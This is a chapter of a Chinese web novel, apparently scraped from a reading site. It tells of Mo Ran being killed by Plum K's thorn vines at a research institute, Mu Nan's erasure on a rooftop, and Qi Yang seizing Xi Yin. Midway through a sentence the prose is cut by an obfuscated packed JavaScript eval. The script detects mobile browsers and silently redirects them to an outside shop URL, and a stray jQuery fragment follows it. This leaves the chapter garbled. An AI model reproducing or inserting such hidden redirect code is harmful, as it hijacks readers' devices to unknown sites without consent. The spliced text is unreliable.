第四十六章危险职业
凌晨两点。
墨染从出租车上下来的时候，街道上积了厚厚一层白，路灯的光照在雪面上，泛着一层冷冷的橙色。
她快步走到出租屋楼下，摸出钥匙准备开门，却在走到门口的时候停住了。
门开着一条缝。
墨染没有推门。她侧身贴在墙壁上，从门缝里看进去——房间的灯亮着，榻榻米上铺满了一片凌乱。
书架上的书被翻得七零八落，抽屉被拉开，柜门敞着。
一个人影蹲在书架前面，正在往怀里塞什么东西。
西音。
墨染没有出声。她掏出手机，手指快速地在屏幕上按了几下，给白桔发了一条消息：“西音拿走了实体书，我跟上去看看她要去哪。”
消息发送成功，她按了静音键，收起手机。
西音从出租屋里出来的时候，外套鼓鼓囊囊的，怀里揣着那四本实体书。
她左右看了看，裹紧外套朝街道的方向走去。
墨染跟在她后面，隔着半条街的距离，脚步压得很轻，每一步都踩在路面的雪上，几乎没有声音。
西音走得很快。
她穿过两条街，拐进一条墨染认识的巷子——巷子尽头，是那所研究所的后门。
墨染在巷口停了一瞬，然后从口袋里摸出之前顺来的那张门禁卡，跟着进去了。
研究所内部灯光昏暗。走廊两侧是白色墙壁和金属门，中央空调的低频嗡嗡声在安静的走廊里显得格外清晰。
墨染跟到二楼走廊尽头的一扇半掩的门前，从门缝里看到里面的人，她的脚步猛地顿住了。
西音把那四本实体书放在实验台上，旁边站着一个穿白大褂的人。
墨染认识那张脸。
头发有点长，戴着一副细框眼镜，整个人瘦瘦的，站在实验台前面正在调试什么仪器。
他转头，接过西音递过来的书。
“辛苦了。”
莫讳。
墨染脑子里有什么东西裂开了一道缝。
她扶住墙壁，头忽然疼得像被人从里面敲了一锤子。
莫讳的脸在晃动，一会儿是白大褂研究员，一会儿是穿着卫衣坐在她旁边吃泡面的朋友，一会儿又是……不一样的白大褂，不一样的实验室，不一样的光线。
记忆在错位，又像是在回归原位。
墨染用力按住太阳穴，从口袋里摸出手机，按下了语音留言键，压着声音说：“小白，紫色骑士他是……”
她没有说完。
有什么东西从天花板垂下来，缠住了她的手腕和脚踝。
墨染低头一看——绿色的藤蔓，带着细密的尖刺，顺着她的手臂迅速蔓延上去，一圈一圈地收紧。
手机脱手摔在地上，语音留言还没断，录下了她最后那一声短暂的惊呼。
绿头发的路人甲从走廊转角走出来。
他穿着一件军绿色的外套，帽檐压得很低，但墨染认出了他那头标志性的绿发。
他抬手打了一个响指，藤蔓收紧，把墨染整个人吊了起来。
她悬在半空中，手脚被束缚着，挣扎了一下，藤蔓上的细刺嵌进她的皮肤，血顺着她的手臂往下淌。
“我好讨厌打小报告的人啊。”
路人甲回头看了一眼门里的西音和莫讳，又用多余的藤蔓摸了摸脚边那只奶牛猫的头——
阿呆蹲在角落里，尾巴盘在脚边，安静地看着这一切。
“我先去处理了。”
路人甲拖着墨染往走廊深处走去。
藤蔓在他身后拖着，在白色的地板上留下一道暗红色的痕。
“……”
墨染的手指还在微微动着，但她的嘴被封住了，发不出声音。
西音站在实验台旁边，看着墨染被拖走的背影，咬了咬嘴唇。
“草汁……我们这么做，真的对吗？”
路人甲没有回头。
他的声音从走廊尽头飘回来，隔着一段距离显得有点模糊：“我的代号其实是梅花K。”
“不过你喜欢的话，叫草汁也未尝不可——因为我很喜欢绿色。”
他在转角处停了一下，侧过头，脸被走廊的顶灯照得半明半暗。
“对不对的有那么重要吗？”
“从那位把我从地狱救出来的那一刻，我就知道答案只有一个了。”
（一阵强劲的BGM响起）
（恐龙妈妈~）
（女人在唱歌，男人在……）
他转身走进了走廊尽头的暗处。
“……那就是，效忠于他啊。”
西音站在原地，看着墨染被拖走的方向。
实验台上的仪器在运转着，发出低沉的嗡鸣声。
莫讳把四本实体书一本一本地放进机器的卡槽里，屏幕上的进度条跳动了一下，显示出一行数字：28%。
“你说，帮助那位打开穿越……”
西音的声音低下去：“我总觉得有点心慌。”
莫讳没有抬头。
他推了一下眼镜，手指在键盘上敲了几下：“穿越通道大概还有六天就可以完成了。”
“没事的。我们只不过是为我们这些小说世界里的普通人打通一条活路罢了。”
西音沉默了一会儿，然后拉了一下外套拉链：“我出去买些吃的。”
她转身离开了实验室。
脚步声在走廊里越来越远，最后消失了。
莫讳站在实验台前面，看着机器屏幕上那行缓慢推进的进度条，伸手摸了摸旁边奶牛猫的头。
阿呆仰头看了他一眼，轻轻地“喵”了一声。
……
天台上。
白桔跪在雪地里，手指插在头发里，整个人弓着背。
他已经很久没有动了。雪在他背上积了一层薄薄的白，又被体温融化成水，湿漉漉地贴在衣服上。
孙路站在他面前，低头看着他，像是在看一件不太容易处理但又不得不处理的事情。
“想开一点嘛，”孙路说，“你又不会死。”
“你是我的主角，我会带你去新世界的。”
白桔没有抬头。
他的手指攥紧了，指节泛白，指甲陷进掌心的皮肤里。
血从他的指缝里渗出来，滴在雪地上，被新落的雪慢慢地盖住。
孙路转向木南。
木南还保持着那个被定住的姿势，像一尊被冻在风雪里的雕像，只有眼睛还能动，目光死死地盯着孙路。
“木南酱，对不起了，”孙路的声音带着一点漫不经心，“这次，还是……”
三花笑了一声。
“木南，你年纪大慢慢来。这本，我就先ban你了。”
“人须慢慢ban，心急则翻车，路酱有此雅兴，我自然奉陪。”
“开本同人，ban木南，ban木南，ban木南。”
“预选C位，ban木南，ban木南，ban木南。”
“英雄池，深似海，先禁谁，来ban来ban。”
“版本答案，直接木南，快，点，ban。”
孙路：“……”
三花嘻嘻笑了一声。
孙路看了他两秒，然后抬了一下手。
一张银白色的卡片从他指间滑出——消除词条。银白色的光芒没有落向三花，而是落向了木南。
木南的身体在那道光芒里开始变淡，轮廓的边缘开始模糊，颜色一点一点地散进空气里。
白桔猛地抬起头：“木南！！！”
木南最后看了他一眼。
嘴唇动了一下，没有声音，但口型像是“小心”。
然后他消失了。
天台上少了一个人，雪地上多了一摊被融化的雪水，里面什么痕迹都没有留下。
淇洋的瞳孔缩了一下：“什么？！”
孙路看了眼他，语气随意。
“都说了，我是这个世界的——”
他张开手臂，风雪从他两侧穿过去，不知何时换上的白大褂的下摆被风卷起来又落下去。
“卡密来哒！！！！”
白桔站起来。
他看着孙路，眼中的怒火几乎要把人烧成灰。
孙路没有看他。
他的目光已经转向了三花。
“然后，该你了。”
三花靠在锁链上，歪着头看着他：“你舍得杀了我吗？”
他的语气里带着一点试探的笑意：“我在那本UR里还拿到了一个空白词条。”
孙路沉默了两秒。
白桔站在雪地里，手指搭在腰带上，指腹触到那张金色的卡片。
他的眼睛是红的，连眼角都在充血。
“【牛来】。”
一头牛凭空出现在天台上，从三花身侧撞过去，锁链被那股力道带着震了一下。
三花整个人被撞飞出去，不见了踪影。
孙路看了一眼那头牛：“牛逼。”
白桔的腿终于撑不住了。
他弯下腰撑着膝盖，整个人像被抽走了最后一根骨头，呼吸粗重而破碎。
淇洋从后面伸手扶住他的肩膀，手指贴着他被雪浸湿的衣料，没有说话。
“叮铃铃~”
孙路接了一个电话。
他举着手机听了几秒，然后“嗯”了一声：“哦，还有六天才可以回去啊……行，我去转转了。”
他收线，看了白桔和淇洋一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823958|211104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼，抬手在空气中划了一下。
重组词条的光芒裹住他的身体，把他整个人溶解成一片淡金色的光点，然后那些光点朝着天台边缘的方向散去，消失了。
天台上只剩下白桔和淇洋。
白桔撑着膝盖站着，抬起头看着孙路消失的方向。
手机震了。
白桔摸出来，屏幕上是墨染的语音留言。
时间戳是两分钟前。
他点开。
“小白，紫色骑士他是……”
一声短促的惊呼。然后是某种东西被拖拽的声响。语音断了。
白桔的手指停在屏幕上。
他往下滑了一下，看到墨染发来的上一条消息：“西音拿走了实体书，我跟上去看看她要去哪。”
“不好！！！”
白桔抓住淇洋的胳膊：“研究所！走！！！”
……
研究所大门上方，墨染被藤蔓挂在铁栅栏上。
她的手腕和脚踝被绿色的藤蔓缠着，身体垂在半空中。
藤蔓上的细刺嵌在她的皮肤里，血顺着她的手腕、脚踝、衣摆往下淌，一滴一滴地落在台阶上，在积雪里洇开一小片一小片暗红色的圆点。
她的眼睛是睁着的。瞳孔已经散了。
白桔和淇洋赶到的时候，她正在变成光粒子。
从指尖开始。极细微的、淡金色的光点从她的皮肤表面浮起来，像萤火虫从一只将死的身体里飞出来。
那些光点缓慢地上升，在研究所门口那盏昏黄的灯下闪着细碎的光，越来越高，越来越远，最后融进凌晨两点的夜空里，什么痕迹都没有留下。
白桔站在台阶下面，看着那些光粒子一点一点地散去，手指还攥着手机，屏幕上是那条语音留言的界面。
“……墨染？”
没有人回答他。
手机从白桔的手里滑落下去，砸在雪地上，屏幕亮着微弱的光，映着“语音留言已播放完毕”几个字，然后熄灭了。
淇洋站在他旁边，看着墨染刚才悬挂过的位置。
铁栅栏上还缠着几段断掉的藤蔓，藤蔓的尖刺上沾着暗红色的血，在灯光下泛着湿润的光。
他回来了。他现在是淇洋了。那个站在正义这边的淇洋——但他回来的太晚了。
青井控制身体的那段时间里，墨染承受了多少冷暴力。
他回来了，但他还没有道歉，还没有来得及说一句“这段时间不是我的本意”，还没有来得及告诉她那些避嫌和疏远不是他的选择——
她就已经不在了。
淇洋的手垂在身侧，攥紧又松开，松开又攥紧。
他的牙关咬得太紧，咬到两颊的肌肉都在抽动，但他没有发出声音。
头好痛。心脏也痛。像有什么东西在里面被拧紧了、又拧紧了、再拧紧——紧到快要裂开。
白桔转头看着他：“王子酱？！你怎么了？！”
淇洋的视线从铁栅栏上收回来，落在地面上。
“……没事。”
他的牙都快咬碎了。
白桔看着他，看着他的眼睛——那双眼睛里有什么东西在烧，但火是暗的，不亮的，像煤堆深处的余烬，表面看不出温度，底下已经烧红了整片。
“西音呢，”淇洋的声音很平，“还有那个紫色骑士。”
“……！”
角落的暗影里，西音缩在墙后面。
她的后背贴着墙壁，手捂住自己的嘴，瞳孔缩得像两颗快要被挤碎的玻璃珠子。
她听到淇洋在说她的名字。
完蛋了。
白桔转身看着研究所敞开的大门，低声说了一句：“先进去找人。”
两个人一前一后跨进了大门。
脚步声在走廊里响了几声，然后被门隔绝了。
西音从角落里慢慢松开手，大口大口地喘着气。
她的后背全是冷汗，衣服贴在皮肤上，冷的。
她刚要转身离开——一只手从她身后伸过来，掐住了她的后颈。
整个人被提了起来。
西音的脚离了地，窒息感像潮水一样涌上来。
她的双手本能地抓住那只掐着她脖子的手，但那手的力道太大了，指节像铁铸的一样纹丝不动。
她看到了淇洋的脸。
他站在她身后，一只手掐着她的脖子，把她整个人举在半空中。
“告诉我。”
他的声音很轻。
“……为什么。”
他的手指收紧了。
西音的脚在半空中蹬了一下，喉咙里发出含糊的声响，瞳孔在灯光下缩成两个细小的黑点。
“……”
（西音：哥你倒是问啊！！！）